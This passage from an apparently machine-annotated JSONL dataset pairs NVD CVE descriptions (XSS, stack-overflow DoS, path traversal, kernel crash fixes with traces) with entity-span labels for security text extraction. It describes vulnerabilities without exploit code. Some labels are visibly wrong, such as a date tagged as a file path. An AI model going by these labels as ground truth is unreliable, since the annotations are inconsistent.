"CVE-2024-56586"}}
{"text": "Grackle is a GraphQL server written in functional Scala, built on the Typelevel stack. The GraphQL specification requires that GraphQL fragments must not form cycles, either directly or indirectly. Prior to Grackle version 0.18.0, that requirement wasn't checked, and queries with cyclic fragments would have been accepted for type checking and compilation. The attempted compilation of such fragments would result in a JVM `StackOverflowError` being thrown. Some knowledge of an applications GraphQL schema would be required to construct such a query, however no knowledge of any application-specific performance or other behavioural characteristics would be needed.\n\nGrackle uses the cats-parse library for parsing GraphQL queries. Prior to version 0.18.0, Grackle made use of the cats-parse `recursive` operator. However, `recursive` is not currently stack safe. `recursive` was used in three places in the parser: nested selection sets, nested input values (lists and objects), and nested list type declarations. Consequently, queries with deeply nested selection sets, input values or list types could be constructed which exploited this, causing a JVM `StackOverflowException` to be thrown during parsing. Because this happens very early in query processing, no specific knowledge of an applications GraphQL schema would be required to construct such a query.\n\nThe possibility of small queries resulting in stack overflow is a potential denial of service vulnerability. This potentially affects all applications using Grackle which have untrusted users. Both stack overflow issues have been resolved in the v0.18.0 release of Grackle. As a workaround, users could interpose a sanitizing layer in between untrusted input and Grackle query processing.", "spans": {"VULNERABILITY: denial of service": [[1443, 1460]], "VULNERABILITY: stack overflow": [[1413, 1427], [1565, 1579]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-50730"}}
{"text": "BigProf Online Invoicing System before 3.1 fails to correctly sanitize an XSS payload when a user registers using the self-registration functionality. As such, an attacker can input a crafted payload that will execute upon the application's administrator browsing the registered users' list. Once the arbitrary Javascript is executed in the context of the admin, this will cause the attacker to gain administrative privileges, effectively leading into an application takeover. This affects app/membership_signup.php and app/admin/pageViewMembers.php.", "spans": {"FILEPATH: /admin/pageViewMembers.php.": [[523, 550]], "FILEPATH: membership_signup.php": [[494, 515]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-35676"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/mlx5e: Fix memory leak in mlx5_core_destroy_cq() error path\n\nPrior to this patch in case mlx5_core_destroy_cq() failed it returns\nwithout completing all destroy operations and that leads to memory leak.\nInstead, complete the destroy flow before return error.\n\nAlso move mlx5_debug_cq_remove() to the beginning of mlx5_core_destroy_cq()\nto be symmetrical with mlx5_core_create_cq().\n\nkmemleak complains on:\n\nunreferenced object 0xc000000038625100 (size 64):\n  comm \"ethtool\", pid 28301, jiffies 4298062946 (age 785.380s)\n  hex dump (first 32 bytes):\n    60 01 48 94 00 00 00 c0 b8 05 34 c3 00 00 00 c0  `.H.......4.....\n    02 00 00 00 00 00 00 00 00 db 7d c1 00 00 00 c0  ..........}.....\n  backtrace:\n    [<000000009e8643cb>] add_res_tree+0xd0/0x270 [mlx5_core]\n    [<00000000e7cb8e6c>] mlx5_debug_cq_add+0x5c/0xc0 [mlx5_core]\n    [<000000002a12918f>] mlx5_core_create_cq+0x1d0/0x2d0 [mlx5_core]\n    [<00000000cef0a696>] mlx5e_create_cq+0x210/0x3f0 [mlx5_core]\n    [<000000009c642c26>] mlx5e_open_cq+0xb4/0x130 [mlx5_core]\n    [<0000000058dfa578>] mlx5e_ptp_open+0x7f4/0xe10 [mlx5_core]\n    [<0000000081839561>] mlx5e_open_channels+0x9cc/0x13e0 [mlx5_core]\n    [<0000000009cf05d4>] mlx5e_switch_priv_channels+0xa4/0x230\n[mlx5_core]\n    [<0000000042bbedd8>] mlx5e_safe_switch_params+0x14c/0x300\n[mlx5_core]\n    [<0000000004bc9db8>] set_pflag_tx_port_ts+0x9c/0x160 [mlx5_core]\n    [<00000000a0553443>] mlx5e_set_priv_flags+0xd0/0x1b0 [mlx5_core]\n    [<00000000a8f3d84b>] ethnl_set_privflags+0x234/0x2d0\n    [<00000000fd27f27c>] genl_family_rcv_msg_doit+0x108/0x1d0\n    [<00000000f495e2bb>] genl_family_rcv_msg+0xe4/0x1f0\n    [<00000000646c5c2c>] genl_rcv_msg+0x78/0x120\n    [<00000000d53e384e>] netlink_rcv_skb+0x74/0x1a0", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: memory leak": [[84, 95], [263, 274]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47438"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nefi: runtime: avoid EFIv2 runtime services on Apple x86 machines\n\nAditya reports [0] that his recent MacbookPro crashes in the firmware\nwhen using the variable services at runtime. The culprit appears to be a\ncall to QueryVariableInfo(), which we did not use to call on Apple x86\nmachines in the past as they only upgraded from EFI v1.10 to EFI v2.40\nfirmware fairly recently, and QueryVariableInfo() (along with\nUpdateCapsule() et al) was added in EFI v2.00.\n\nThe only runtime service introduced in EFI v2.00 that we actually use in\nLinux is QueryVariableInfo(), as the capsule based ones are optional,\ngenerally not used at runtime (all the LVFS/fwupd firmware update\ninfrastructure uses helper EFI programs that invoke capsule update at\nboot time, not runtime), and not implemented by Apple machines in the\nfirst place. QueryVariableInfo() is used to 'safely' set variables,\ni.e., only when there is enough space. This prevents machines with buggy\nfirmwares from corrupting their NVRAMs when they run out of space.\n\nGiven that Apple machines have been using EFI v1.10 services only for\nthe longest time (the EFI v2.0 spec was released in 2006, and Linux\nsupport for the newly introduced runtime services was added in 2011, but\nthe MacbookPro12,1 released in 2015 still claims to be EFI v1.10 only),\nlet's avoid the EFI v2.0 ones on all Apple x86 machines.\n\n[0] https://lore.kernel.org/all/6D757C75-65B1-468B-842D-10410081A8E4@live.com/", "spans": {"URL: https://lore.kernel.org/all/6D757C75-65B1-468B-842D-10410081A8E4@live.com/": [[1433, 1507]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: Linux": [[603, 608], [1220, 1225]], "ORGANIZATION: Apple": [[115, 120], [339, 344], [857, 862], [1099, 1104], [1408, 1413]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48769"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/msm: Make .remove and .shutdown HW shutdown consistent\n\nDrivers' .remove and .shutdown callbacks are executed on different code\npaths. The former is called when a device is removed from the bus, while\nthe latter is called at system shutdown time to quiesce the device.\n\nThis means that some overlap exists between the two, because both have to\ntake care of properly shutting down the hardware. But currently the logic\nused in these two callbacks isn't consistent in msm drivers, which could\nlead to kernel panic.\n\nFor example, on .remove the component is deleted and its .unbind callback\nleads to the hardware being shutdown but only if the DRM device has been\nmarked as registered.\n\nThat check doesn't exist in the .shutdown logic and this can lead to the\ndriver calling drm_atomic_helper_shutdown() for a DRM device that hasn't\nbeen properly initialized.\n\nA situation like this can happen if drivers for expected sub-devices fail\nto probe, since the .bind callback will never be executed. If that is the\ncase, drm_atomic_helper_shutdown() will attempt to take mutexes that are\nonly initialized if drm_mode_config_init() is called during a device bind.\n\nThis bug was attempted to be fixed in commit 623f279c7781 (\"drm/msm: fix\nshutdown hook in case GPU components failed to bind\"), but unfortunately\nit still happens in some cases as the one mentioned above, i.e:\n\n  systemd-shutdown[1]: Powering off.\n  kvm: exiting hardware virtualization\n  platform wifi-firmware.0: Removing from iommu group 12\n  platform video-firmware.0: Removing from iommu group 10\n  ------------[ cut here ]------------\n  WARNING: CPU: 6 PID: 1 at drivers/gpu/drm/drm_modeset_lock.c:317 drm_modeset_lock_all_ctx+0x3c4/0x3d0\n  ...\n  Hardware name: Google CoachZ (rev3+) (DT)\n  pstate: a0400009 (NzCv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n  pc : drm_modeset_lock_all_ctx+0x3c4/0x3d0\n  lr : drm_modeset_lock_all_ctx+0x48/0x3d0\n  sp : ffff80000805bb80\n  x29: ffff80000805bb80 x28: ffff327c00128000 x27: 0000000000000000\n  x26: 0000000000000000 x25: 0000000000000001 x24: ffffc95d820ec030\n  x23: ffff327c00bbd090 x22: ffffc95d8215eca0 x21: ffff327c039c5800\n  x20: ffff327c039c5988 x19: ffff80000805bbe8 x18: 0000000000000034\n  x17: 000000040044ffff x16: ffffc95d80cac920 x15: 0000000000000000\n  x14: 0000000000000315 x13: 0000000000000315 x12: 0000000000000000\n  x11: 0000000000000000 x10: 0000000000000000 x9 : 0000000000000000\n  x8 : ffff80000805bc28 x7 : 0000000000000000 x6 : 0000000000000000\n  x5 : 0000000000000000 x4 : 0000000000000000 x3 : 0000000000000000\n  x2 : ffff327c00128000 x1 : 0000000000000000 x0 : ffff327c039c59b0\n  Call trace:\n   drm_modeset_lock_all_ctx+0x3c4/0x3d0\n   drm_atomic_helper_shutdown+0x70/0x134\n   msm_drv_shutdown+0x30/0x40\n   platform_shutdown+0x28/0x40\n   device_shutdown+0x148/0x350\n   kernel_power_off+0x38/0x80\n   __do_sys_reboot+0x288/0x2c0\n   __arm64_sys_reboot+0x28/0x34\n   invoke_syscall+0x48/0x114\n   el0_svc_common.constprop.0+0x44/0xec\n   do_el0_svc+0x2c/0xc0\n   el0_svc+0x2c/0x84\n   el0t_64_sync_handler+0x11c/0x150\n   el0t_64_sync+0x18c/0x190\n  ---[ end trace 0000000000000000 ]---\n  Unable to handle kernel NULL pointer dereference at virtual address 0000000000000018\n  Mem abort info:\n    ESR = 0x0000000096000004\n    EC = 0x25: DABT (current EL), IL = 32 bits\n    SET = 0, FnV = 0\n    EA = 0, S1PTW = 0\n    FSC = 0x04: level 0 translation fault\n  Data abort info:\n    ISV = 0, ISS = 0x00000004\n    CM = 0, WnR = 0\n  user pgtable: 4k pages, 48-bit VAs, pgdp=000000010eab1000\n  [0000000000000018] pgd=0000000000000000, p4d=0000000000000000\n  Internal error: Oops: 96000004 [#1] PREEMPT SMP\n  ...\n  Hardware name: Google CoachZ (rev3+) (DT)\n  pstate: a0400009 (NzCv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n  pc : ww_mutex_lock+0x28/0x32c\n  lr : drm_modeset_lock_all_ctx+0x1b0/0x3d0\n  sp : ffff80000805bb50\n  x29: ffff80000805bb50 x28: ffff327c00128000 x27: 0000000000000000\n  x26: 00000\n---truncated---", "spans": {"FILEPATH: /gpu/drm/drm_modeset_lock.c": [[1704, 1731]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: systemd": [[1441, 1448]], "ORGANIZATION: Google": [[1796, 1802], [3709, 3715]], "VULNERABILITY: NULL pointer dereference": [[3203, 3227]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50260"}}
{"text": "Vulnerability in the Oracle E-Business Intelligence product of Oracle E-Business Suite (component: DBI Setups). Supported versions that are affected are 12.1.1-12.1.3. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle E-Business Intelligence. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle E-Business Intelligence, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle E-Business Intelligence accessible data as well as unauthorized update, insert or delete access to some of Oracle E-Business Intelligence accessible data. CVSS 3.0 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [63, 69], [276, 282], [425, 431], [629, 635], [743, 749]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2840"}}
{"text": "The Notary Project is a set of specifications and tools intended to provide a cross-industry standard for securing software supply chains by using authentic container images and other OCI artifacts. An external actor with control of a compromised container registry can provide outdated versions of OCI artifacts, such as Images. This could lead artifact consumers with relaxed trust policies (such as `permissive` instead of `strict`) to potentially use artifacts with signatures that are no longer valid, making them susceptible to any exploits those artifacts may contain. In Notary Project, an artifact publisher can control the validity period of artifact by specifying signature expiry during the signing process. Using shorter signature validity periods along with processes to periodically resign artifacts, allows artifact producers to ensure that their consumers will only receive up-to-date artifacts. Artifact consumers should correspondingly use a `strict` or equivalent trust policy that enforces signature expiry. Together these steps enable use of up-to-date artifacts and safeguard against rollback attack in the event of registry compromise. The Notary Project offers various signature validation options such as `permissive`, `audit` and `skip` to support various scenarios. These scenarios includes 1) situations demanding urgent workload deployment, necessitating the bypassing of expired or revoked signatures; 2) auditing of artifacts lacking signatures without interrupting workload; and 3) skipping of verification for specific images that might have undergone validation through alternative mechanisms. Additionally, the Notary Project supports revocation to ensure the signature freshness. Artifact publishers can sign with short-lived certificates and revoke older certificates when necessary. This revocation serves as a signal to inform artifact consumers that the corresponding unexpired artifact is no longer approved by the publisher. This enables the artifact publisher to control the validity of the signature independently of their ability to manage artifacts in a compromised registry.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-23332"}}
{"text": "ApostropheCMS is an open-source Node.js content management system. Versions 4.28.0 and prior contain a stored cross-site scripting vulnerability in the @apostrophecms/color-field module, where color values prefixed with -- bypass TinyColor validation intended for CSS custom properties, and the launder.string() call performs only type coercion without stripping HTML metacharacters. These unsanitized values are then concatenated directly into <style> tags both in per-widget style elements rendered for all visitors and in the global stylesheet rendered for editors, with the output marked as safe HTML. An editor can inject a value which closes the style tag and executes arbitrary JavaScript in the browser of every visitor to any page containing the affected widget. This enables mass session hijacking, cookie theft, and privilege escalation to administrative control if an admin views draft content. This issue has been fixed in version 4.29.0.", "spans": {"FILEPATH: Node.js": [[32, 39]], "VULNERABILITY: cross-site scripting": [[110, 130]], "VULNERABILITY: privilege escalation": [[827, 847]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-33889"}}
{"text": "gatsby-plugin-sharp is a plugin for the gatsby framework which exposes functions built on the Sharp image processing library. The gatsby-plugin-sharp plugin prior to versions 5.8.1 and 4.25.1 contains a path traversal vulnerability exposed when running the Gatsby develop server (`gatsby develop`). It should be noted that by default gatsby develop is only accessible via the localhost 127.0.0.1, and one would need to intentionally expose the server to other interfaces to exploit this vulnerability by using server options such as --host 0.0.0.0, -H 0.0.0.0, or the GATSBY_HOST=0.0.0.0 environment variable. Attackers exploiting this vulnerability will have read access to all files within the scope of the server process. A patch has been introduced in gatsby-plugin-sharp@5.8.1 and gatsby-plugin-sharp@4.25.1 which mitigates the issue by ensuring that included paths remain within the project directory. As stated above, by default gatsby develop is only exposed to the localhost 127.0.0.1. For those using the develop server in the default configuration no risk is posed. If other ranges are required, preventing the develop server from being exposed to untrusted interfaces or IP address ranges would mitigate the risk from this vulnerability. Users are non the less encouraged to upgrade to a safe version.", "spans": {"IP_ADDRESS: 127.0.0.1": [[386, 395], [984, 993]], "IP_ADDRESS: 0.0.0.0": [[540, 547], [552, 559], [580, 587]], "VULNERABILITY: path traversal": [[203, 217]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-30548"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/i915/gt: Fix timeline left held on VMA alloc error\n\nThe following error has been reported sporadically by CI when a test\nunbinds the i915 driver on a ring submission platform:\n\n<4> [239.330153] ------------[ cut here ]------------\n<4> [239.330166] i915 0000:00:02.0: [drm] drm_WARN_ON(dev_priv->mm.shrink_count)\n<4> [239.330196] WARNING: CPU: 1 PID: 18570 at drivers/gpu/drm/i915/i915_gem.c:1309 i915_gem_cleanup_early+0x13e/0x150 [i915]\n...\n<4> [239.330640] RIP: 0010:i915_gem_cleanup_early+0x13e/0x150 [i915]\n...\n<4> [239.330942] Call Trace:\n<4> [239.330944]  <TASK>\n<4> [239.330949]  i915_driver_late_release+0x2b/0xa0 [i915]\n<4> [239.331202]  i915_driver_release+0x86/0xa0 [i915]\n<4> [239.331482]  devm_drm_dev_init_release+0x61/0x90\n<4> [239.331494]  devm_action_release+0x15/0x30\n<4> [239.331504]  release_nodes+0x3d/0x120\n<4> [239.331517]  devres_release_all+0x96/0xd0\n<4> [239.331533]  device_unbind_cleanup+0x12/0x80\n<4> [239.331543]  device_release_driver_internal+0x23a/0x280\n<4> [239.331550]  ? bus_find_device+0xa5/0xe0\n<4> [239.331563]  device_driver_detach+0x14/0x20\n...\n<4> [357.719679] ---[ end trace 0000000000000000 ]---\n\nIf the test also unloads the i915 module then that's followed with:\n\n<3> [357.787478] =============================================================================\n<3> [357.788006] BUG i915_vma (Tainted: G     U  W        N ): Objects remaining on __kmem_cache_shutdown()\n<3> [357.788031] -----------------------------------------------------------------------------\n<3> [357.788204] Object 0xffff888109e7f480 @offset=29824\n<3> [357.788670] Allocated in i915_vma_instance+0xee/0xc10 [i915] age=292729 cpu=4 pid=2244\n<4> [357.788994]  i915_vma_instance+0xee/0xc10 [i915]\n<4> [357.789290]  init_status_page+0x7b/0x420 [i915]\n<4> [357.789532]  intel_engines_init+0x1d8/0x980 [i915]\n<4> [357.789772]  intel_gt_init+0x175/0x450 [i915]\n<4> [357.790014]  i915_gem_init+0x113/0x340 [i915]\n<4> [357.790281]  i915_driver_probe+0x847/0xed0 [i915]\n<4> [357.790504]  i915_pci_probe+0xe6/0x220 [i915]\n...\n\nCloser analysis of CI results history has revealed a dependency of the\nerror on a few IGT tests, namely:\n- igt@api_intel_allocator@fork-simple-stress-signal,\n- igt@api_intel_allocator@two-level-inception-interruptible,\n- igt@gem_linear_blits@interruptible,\n- igt@prime_mmap_coherency@ioctl-errors,\nwhich invisibly trigger the issue, then exhibited with first driver unbind\nattempt.\n\nAll of the above tests perform actions which are actively interrupted with\nsignals.  Further debugging has allowed to narrow that scope down to\nDRM_IOCTL_I915_GEM_EXECBUFFER2, and ring_context_alloc(), specific to ring\nsubmission, in particular.\n\nIf successful then that function, or its execlists or GuC submission\nequivalent, is supposed to be called only once per GEM context engine,\nfollowed by raise of a flag that prevents the function from being called\nagain.  The function is expected to unwind its internal errors itself, so\nit may be safely called once more after it returns an error.\n\nIn case of ring submission, the function first gets a reference to the\nengine's legacy timeline and then allocates a VMA.  If the VMA allocation\nfails, e.g. when i915_vma_instance() called from inside is interrupted\nwith a signal, then ring_context_alloc() fails, leaving the timeline held\nreferenced.  On next I915_GEM_EXECBUFFER2 IOCTL, another reference to the\ntimeline is got, and only that last one is put on successful completion.\nAs a consequence, the legacy timeline, with its underlying engine status\npage's VMA object, is still held and not released on driver unbind.\n\nGet the legacy timeline only after successful allocation of the context\nengine's VMA.\n\nv2: Add a note on other submission methods (Krzysztof Karas):\n    Both execlists and GuC submission use lrc_alloc() which seems free\n    from a similar issue.\n\n(cherry picked from commit cc43422b3cc79eacff4c5a8ba0d224688ca9dd4f)", "spans": {"HASH: cc43422b3cc79eacff4c5a8ba0d224688ca9dd4f": [[3938, 3978]], "FILEPATH: /i915/gt": [[72, 80]], "FILEPATH: /gpu/drm/i915/i915_gem.c": [[439, 463]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38389"}}
{"text": "Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Versions prior to 21.2.0, 21.1.16, 20.3.17, and 19.2.19 have a cross-Site scripting vulnerability in the Angular internationalization (i18n) pipeline. In ICU messages (International Components for Unicode), HTML from translated content was not properly sanitized and could execute arbitrary JavaScript. Angular i18n typically involves three steps, extracting all messages from an application in the source language, sending the messages to be translated, and then merging their translations back into the final source code. Translations are frequently handled by contracts with specific partner companies, and involve sending the source messages to a separate contractor before receiving final translations for display to the end user. If the returned translations have malicious content, it could be rendered into the application and execute arbitrary JavaScript. When successfully exploited, this vulnerability allows for execution of attacker controlled JavaScript in the application origin. Depending on the nature of the application being exploited this could lead to credential exfiltration and/or page vandalism. Several preconditions apply to the attack. The attacker must compromise the translation file (xliff, xtb, etc.). Unlike most XSS vulnerabilities, this issue is not exploitable by arbitrary users. An attacker must first compromise an application's translation file before they can escalate privileges into the Angular application client. The victim application must use Angular i18n, use one or more ICU messages, render an ICU message, and not defend against XSS via a safe content security policy. Versions 21.2.0, 21.1.6, 20.3.17, and 19.2.19 patch the issue. Until the patch is applied, developers should consider reviewing and verifying translated content received from untrusted third parties before incorporating it in an Angular application, enabling strict CSP controls to block unauthorized JavaScript from executing on the page, and enabling Trusted Types to enforce proper HTML sanitization.", "spans": {"VULNERABILITY: cross-Site scripting": [[195, 215]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-27970"}}
{"text": "Pomerium is an open source identity-aware access proxy. Envoy, which Pomerium is based on, contains two authorization related vulnerabilities CVE-2021-32777 and CVE-2021-32779. This may lead to incorrect routing or authorization policy decisions. With specially crafted requests, incorrect authorization or routing decisions may be made by Pomerium. Pomerium v0.14.8 and v0.15.1 contain an upgraded envoy binary with these vulnerabilities patched. This issue can only be triggered when using path prefix based policy. Removing any such policies should provide mitigation.", "spans": {"CVE_ID: CVE-2021-32777": [[142, 156]], "CVE_ID: CVE-2021-32779": [[161, 175]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-39206"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\next4: fix WARNING in ext4_update_inline_data\n\nSyzbot found the following issue:\nEXT4-fs (loop0): mounted filesystem 00000000-0000-0000-0000-000000000000 without journal. Quota mode: none.\nfscrypt: AES-256-CTS-CBC using implementation \"cts-cbc-aes-aesni\"\nfscrypt: AES-256-XTS using implementation \"xts-aes-aesni\"\n------------[ cut here ]------------\nWARNING: CPU: 0 PID: 5071 at mm/page_alloc.c:5525 __alloc_pages+0x30a/0x560 mm/page_alloc.c:5525\nModules linked in:\nCPU: 1 PID: 5071 Comm: syz-executor263 Not tainted 6.2.0-rc1-syzkaller #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 10/26/2022\nRIP: 0010:__alloc_pages+0x30a/0x560 mm/page_alloc.c:5525\nRSP: 0018:ffffc90003c2f1c0 EFLAGS: 00010246\nRAX: ffffc90003c2f220 RBX: 0000000000000014 RCX: 0000000000000000\nRDX: 0000000000000028 RSI: 0000000000000000 RDI: ffffc90003c2f248\nRBP: ffffc90003c2f2d8 R08: dffffc0000000000 R09: ffffc90003c2f220\nR10: fffff52000785e49 R11: 1ffff92000785e44 R12: 0000000000040d40\nR13: 1ffff92000785e40 R14: dffffc0000000000 R15: 1ffff92000785e3c\nFS:  0000555556c0d300(0000) GS:ffff8880b9800000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007f95d5e04138 CR3: 00000000793aa000 CR4: 00000000003506f0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n <TASK>\n __alloc_pages_node include/linux/gfp.h:237 [inline]\n alloc_pages_node include/linux/gfp.h:260 [inline]\n __kmalloc_large_node+0x95/0x1e0 mm/slab_common.c:1113\n __do_kmalloc_node mm/slab_common.c:956 [inline]\n __kmalloc+0xfe/0x190 mm/slab_common.c:981\n kmalloc include/linux/slab.h:584 [inline]\n kzalloc include/linux/slab.h:720 [inline]\n ext4_update_inline_data+0x236/0x6b0 fs/ext4/inline.c:346\n ext4_update_inline_dir fs/ext4/inline.c:1115 [inline]\n ext4_try_add_inline_entry+0x328/0x990 fs/ext4/inline.c:1307\n ext4_add_entry+0x5a4/0xeb0 fs/ext4/namei.c:2385\n ext4_add_nondir+0x96/0x260 fs/ext4/namei.c:2772\n ext4_create+0x36c/0x560 fs/ext4/namei.c:2817\n lookup_open fs/namei.c:3413 [inline]\n open_last_lookups fs/namei.c:3481 [inline]\n path_openat+0x12ac/0x2dd0 fs/namei.c:3711\n do_filp_open+0x264/0x4f0 fs/namei.c:3741\n do_sys_openat2+0x124/0x4e0 fs/open.c:1310\n do_sys_open fs/open.c:1326 [inline]\n __do_sys_openat fs/open.c:1342 [inline]\n __se_sys_openat fs/open.c:1337 [inline]\n __x64_sys_openat+0x243/0x290 fs/open.c:1337\n do_syscall_x64 arch/x86/entry/common.c:50 [inline]\n do_syscall_64+0x3d/0xb0 arch/x86/entry/common.c:80\n entry_SYSCALL_64_after_hwframe+0x63/0xcd\n\nAbove issue happens as follows:\next4_iget\n   ext4_find_inline_data_nolock ->i_inline_off=164 i_inline_size=60\next4_try_add_inline_entry\n   __ext4_mark_inode_dirty\n      ext4_expand_extra_isize_ea ->i_extra_isize=32 s_want_extra_isize=44\n         ext4_xattr_shift_entries\n\t ->after shift i_inline_off is incorrect, actually is change to 176\next4_try_add_inline_entry\n  ext4_update_inline_dir\n    get_max_inline_xattr_value_size\n      if (EXT4_I(inode)->i_inline_off)\n\tentry = (struct ext4_xattr_entry *)((void *)raw_inode +\n\t\t\tEXT4_I(inode)->i_inline_off);\n        free += EXT4_XATTR_SIZE(le32_to_cpu(entry->e_value_size));\n\t->As entry is incorrect, then 'free' may be negative\n   ext4_update_inline_data\n      value = kzalloc(len, GFP_NOFS);\n      -> len is unsigned int, maybe very large, then trigger warning when\n         'kzalloc()'\n\nTo resolve the above issue we need to update 'i_inline_off' after\n'ext4_xattr_shift_entries()'.  We do not need to set\nEXT4_STATE_MAY_INLINE_DATA flag here, since ext4_mark_inode_dirty()\nalready sets this flag if needed.  Setting EXT4_STATE_MAY_INLINE_DATA\nwhen it is needed may trigger a BUG_ON in ext4_writepages().", "spans": {"FILEPATH: /26/2022": [[689, 697]], "FILEPATH: /linux/gfp.h": [[1501, 1513], [1552, 1564]], "FILEPATH: /linux/slab.h": [[1741, 1754], [1784, 1797]], "FILEPATH: /ext4/inline.c": [[1850, 1864], [1895, 1909], [1965, 1979]], "FILEPATH: /ext4/namei.c": [[2015, 2028], [2064, 2077], [2110, 2123]], "FILEPATH: /x86/entry/common.c": [[2523, 2542], [2584, 2603]], "FILEPATH: page_alloc.c": [[450, 462], [497, 509], [737, 749]], "FILEPATH: slab_common.c": [[1614, 1627], [1655, 1668], [1707, 1720]], "FILEPATH: namei.c": [[2145, 2152], [2189, 2196], [2241, 2248], [2283, 2290]], "FILEPATH: open.c": [[2327, 2333], [2355, 2361], [2396, 2402], [2437, 2443], [2491, 2497]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[623, 629], [630, 636], [652, 658], [680, 686]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53100"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nipmr,ip6mr: acquire RTNL before calling ip[6]mr_free_table() on failure path\n\nip[6]mr_free_table() can only be called under RTNL lock.\n\nRTNL: assertion failed at net/core/dev.c (10367)\nWARNING: CPU: 1 PID: 5890 at net/core/dev.c:10367 unregister_netdevice_many+0x1246/0x1850 net/core/dev.c:10367\nModules linked in:\nCPU: 1 PID: 5890 Comm: syz-executor.2 Not tainted 5.16.0-syzkaller-11627-g422ee58dc0ef #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 01/01/2011\nRIP: 0010:unregister_netdevice_many+0x1246/0x1850 net/core/dev.c:10367\nCode: 0f 85 9b ee ff ff e8 69 07 4b fa ba 7f 28 00 00 48 c7 c6 00 90 ae 8a 48 c7 c7 40 90 ae 8a c6 05 6d b1 51 06 01 e8 8c 90 d8 01 <0f> 0b e9 70 ee ff ff e8 3e 07 4b fa 4c 89 e7 e8 86 2a 59 fa e9 ee\nRSP: 0018:ffffc900046ff6e0 EFLAGS: 00010286\nRAX: 0000000000000000 RBX: 0000000000000000 RCX: 0000000000000000\nRDX: ffff888050f51d00 RSI: ffffffff815fa008 RDI: fffff520008dfece\nRBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000\nR10: ffffffff815f3d6e R11: 0000000000000000 R12: 00000000fffffff4\nR13: dffffc0000000000 R14: ffffc900046ff750 R15: ffff88807b7dc000\nFS:  00007f4ab736e700(0000) GS:ffff8880b9d00000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007fee0b4f8990 CR3: 000000001e7d2000 CR4: 00000000003506e0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n <TASK>\n mroute_clean_tables+0x244/0xb40 net/ipv6/ip6mr.c:1509\n ip6mr_free_table net/ipv6/ip6mr.c:389 [inline]\n ip6mr_rules_init net/ipv6/ip6mr.c:246 [inline]\n ip6mr_net_init net/ipv6/ip6mr.c:1306 [inline]\n ip6mr_net_init+0x3f0/0x4e0 net/ipv6/ip6mr.c:1298\n ops_init+0xaf/0x470 net/core/net_namespace.c:140\n setup_net+0x54f/0xbb0 net/core/net_namespace.c:331\n copy_net_ns+0x318/0x760 net/core/net_namespace.c:475\n create_new_namespaces+0x3f6/0xb20 kernel/nsproxy.c:110\n copy_namespaces+0x391/0x450 kernel/nsproxy.c:178\n copy_process+0x2e0c/0x7300 kernel/fork.c:2167\n kernel_clone+0xe7/0xab0 kernel/fork.c:2555\n __do_sys_clone+0xc8/0x110 kernel/fork.c:2672\n do_syscall_x64 arch/x86/entry/common.c:50 [inline]\n do_syscall_64+0x35/0xb0 arch/x86/entry/common.c:80\n entry_SYSCALL_64_after_hwframe+0x44/0xae\nRIP: 0033:0x7f4ab89f9059\nCode: Unable to access opcode bytes at RIP 0x7f4ab89f902f.\nRSP: 002b:00007f4ab736e118 EFLAGS: 00000206 ORIG_RAX: 0000000000000038\nRAX: ffffffffffffffda RBX: 00007f4ab8b0bf60 RCX: 00007f4ab89f9059\nRDX: 0000000020000280 RSI: 0000000020000270 RDI: 0000000040200000\nRBP: 00007f4ab8a5308d R08: 0000000020000300 R09: 0000000020000300\nR10: 00000000200002c0 R11: 0000000000000206 R12: 0000000000000000\nR13: 00007ffc3977cc1f R14: 00007f4ab736e300 R15: 0000000000022000\n </TASK>", "spans": {"FILEPATH: /core/dev.c": [[234, 245], [286, 297], [347, 358], [617, 628]], "FILEPATH: /01/2011": [[555, 563]], "FILEPATH: /ipv6/ip6mr.c": [[1590, 1603], [1630, 1643], [1678, 1691], [1724, 1737], [1783, 1796]], "FILEPATH: /core/net_namespace.c": 